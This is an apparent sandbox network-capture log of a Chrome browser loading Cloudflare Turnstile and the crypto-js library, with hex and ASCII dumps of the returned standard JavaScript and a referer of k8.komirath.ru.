2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 Data Ascii: +1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 Data Ascii: ,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49711	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:13 UTC	646	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://k8.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:13 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 15:33:13 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 8ffdb969ea04c42c-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49713	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:14 UTC	645	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://k8.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:14 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ffdb96dec4e422f-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:14 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49714	104.17.24.14	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:14 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:14 UTC	962	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 181005 Expires: Wed, 31 Dec 2025 15:33:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Ej8NEajm1nlm%2B%2FBijUnp4HkdDnzK326nWZbM2yCqzO1a9lmjTQcffJDeJ6b5lsUttz27Mddel9tz%2BcjC0aSRv3M%2FE7ahdkuSg6gPiJwA58zeT6YmazqTOW%2FSIciNcXdJM1TqxTZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffdb96eec810f55-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:14 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2025-01-10 15:33:14 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
